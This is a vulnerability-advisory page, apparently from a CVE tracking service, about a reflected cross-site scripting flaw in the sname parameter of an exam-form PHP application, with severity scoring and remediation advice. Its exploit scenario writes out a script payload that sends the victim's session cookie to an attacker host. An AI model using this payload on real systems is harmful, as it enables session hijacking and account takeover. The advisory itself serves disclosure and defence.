EUVD-2026-17058
GHSA-jc9w-4gwg-hjf5
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Despite a CVSS score of 2.4, this vulnerability presents moderate real-world risk in multi-user administrative environments. The CVSS vector shows several mitigating factors: high privilege requirement (PR:H) restricts exploitation to authenticated administrators, user interaction (UI:R) is required to trigger the payload, and the impact is limited to integrity (I:L) with no confidentiality or availability impact. However, the Proof-of-Concept (POC) status marked as publicly available elevates practical risk - malicious administrators or those with compromised admin accounts can immediately exploit this. The low complexity (AC:L) and network attack vector (AV:N) mean no special conditions are needed once authentication is achieved. EPSS exploitation probability data is not provided, but the presence of published exploit code and low attack complexity suggest real-world exploitation is feasible in organizations with weak admin access controls. SSVC framing: exploitation is confirmed (POC public), automatable (reflected XSS via parameter), and technical impact is limited but concerning in admin contexts (session hijacking, privilege escalation via CSRF chaining). |
| Exploit ScenarioDerived | An attacker with compromised or shared administrative credentials crafts a malicious URL containing a crafted sname parameter with embedded JavaScript, such as /admin/update_fst.php?sname=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>. If another administrator clicks this link while logged in, the JavaScript executes in their browser context, allowing the attacker to steal session cookies, perform actions as that administrator, or redirect them to a phishing page. Since publicly available exploit code exists (GitHub issue reference), the technical barrier to launching this attack is minimal for anyone with basic web security knowledge. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 30, 2026
Reflected cross-site scripting (XSS) in code-projects Exam Form Submission 1.0 allows authenticated remote attackers to inject malicious scripts via the sname parameter in /admin/update_fst.php, affecting user sessions with administrator privileges. The vulnerability requires user interaction (UI:R) and carries a low CVSS score of 2.4 due to the requirement for prior administrative authentication (PR:H), but publicly available exploit code exists and may be actively used. The attack vector is network-based (AV:N) with low complexity (AC:L), creating an insider threat scenario where compromised or malicious administrators can deface content or steal session tokens of other administrators.
RemediationAI
The primary remediation is to upgrade from Exam Form Submission 1.0 to a patched version released by code-projects; however, no specific fixed version number is confirmed in available data. As an immediate workaround, apply input validation and output encoding to the sname parameter in /admin/update_fst.php by HTML-encoding all user-supplied values before rendering them in the response, or implement a content security policy (CSP) header to restrict inline script execution. Restrict administrative access to trusted personnel and implement session timeouts for admin accounts. Consult the code-projects advisory (https://code-projects.org/) and VulDB record (https://vuldb.com/vuln/354131) for patch availability and further guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a classic reflected cross-site scripting (CWE-79) flaw in a PHP-based exam management application. The flaw exists in the /admin/update_fst.php endpoint, where user-supplied input from the sname parameter is reflected back to the client without proper sanitization or output encoding. The affected product is the Exam Form Submission plugin/module from code-projects (CPE: cpe:2.3:a:code-projects:exam_form_submission:*:*:*:*:*:*:*:*), which is commonly used to create and manage form-based examinations. The lack of input validation or HTML entity encoding on the sname parameter allows attackers to break out of the intended context and execute arbitrary JavaScript in the victim's browser within the security context of the admin panel.
Know when Exam Form Submission gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
A flaw has been found in code-projects Exam Form Submission 1.0. The impacted element is an unknown function of the file /admin/update_fst.php. Executing a manipulation of the argument sname can lead to cross site scripting. It is possible to launch the attack remotely. The exploit has been published and may be used.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Exam Form Submission
View allUnrestricted file upload in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to upload arb
SQL injection in code-projects Exam Form Submission 1.0 exposes the underlying database through the `credits` parameter
SQL injection in code-projects Exam Form Submission 1.0 exposes the backend database to unauthorized read and write oper
SQL injection in code-projects Exam Form Submission 1.0 exposes the `/admin/delete_s3.php` endpoint to remote manipulati
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s2.php endpoint to remote exploitation
SQL injection in code-projects Exam Form Submission 1.0 exposes the /admin/delete_s1.php endpoint to remote database man
SQL injection in code-projects Exam Form Submission 1.0 allows remote unauthenticated attackers to extract or modify dat
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the 'credits' parameter in
SQL injection in code-projects Exam Form Submission 1.0 via the 'credits' parameter of /admin/update_s3.php enables remo
SQL injection in code-projects Exam Form Submission 1.0 exposes the application's database to remote manipulation throug
SQL injection in code-projects Exam Form Submission 1.0 allows remote attackers to manipulate the backend database via t
SQL injection in code-projects Exam Form Submission 1.0 exposes the unauthenticated /register.php registration endpoint
Exploit-DB